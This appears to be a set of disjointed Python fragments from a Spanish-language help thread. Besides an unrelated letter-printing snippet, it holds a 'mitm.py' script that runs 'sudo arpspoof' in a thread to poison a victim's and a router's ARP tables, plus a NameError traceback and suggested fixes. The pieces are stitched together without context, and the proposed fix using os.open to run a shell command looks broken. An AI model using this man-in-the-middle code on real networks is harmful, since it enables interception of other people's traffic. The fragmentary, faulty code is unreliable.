abc = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j','k', 'l', 'm', 'n', 'ñ',\ 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x','y', 'z', 'A', 'B', 'C',\ 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M','N', 'Ñ', 'O', 'P', 'Q',\ 'R', 'S', 'T', 'U', 'V','W', 'X', 'Y', 'Z']num = [34, 0, 2, 10, 51, 29, 18, 0, 2, 10]for n in num: print abc[n],
threadARPSpoof = Thread(target=arpspoof)threadARPSpoof.setDaemon(True)threadARPSpoof.start()def arpspoof(): # aquí va el resto del código
Traceback (most recent call last): File "mitm.py", line 88, in <module> threadARPSpoof = Thread(target=arpspoof)NameError: name 'arpspoof' is not definedException TypeError: "argument of type 'NoneType' is not iterable" in <function _remove at 0xb7306b8c> ignored
#declaramos threads threadARPSpoof = Thread(target=arpspoof) threadARPSpoof.setDaemon(True) threadARPSpoof.start() # ejecutamos threads def arpspoof(): os.system("sudo arpspoof -i " + interface + " " + " -t " + victimaIP + " " + routerIP); os.system("sudo arpspoof -i " + interface + " " + " -t " + routerIP + " " + victimaIP);
cmd = "sudo arpspoof -i " + interface + " " + " -t " + victimaIP + " " + routerIP#os.system(cmd)# Reemplazar línea anterior por:output = os.open(cmd)#print output.read()# En caso de querer imprimir en pantalla el output, descomentar la línea anterior
arp1 = "sudo arpspoof -i " + interface + " -t " + victimaIP + " " + routerIParp2 = "sudo arpspoof -i " + interface + " -t " + routerIP + " " + victimaIPoutput1 = os.open(arp1)output2 = os.open(arp2)
arp = "sudo arpspoof -i " + interface + " " + " -t " + victimaIP + " " + routerIP#os.system(arp)# Reemplazar línea anterior por:output = os.open(arp)#print output.read()# En caso de querer imprimir en pantalla el output, descomentar la línea anterior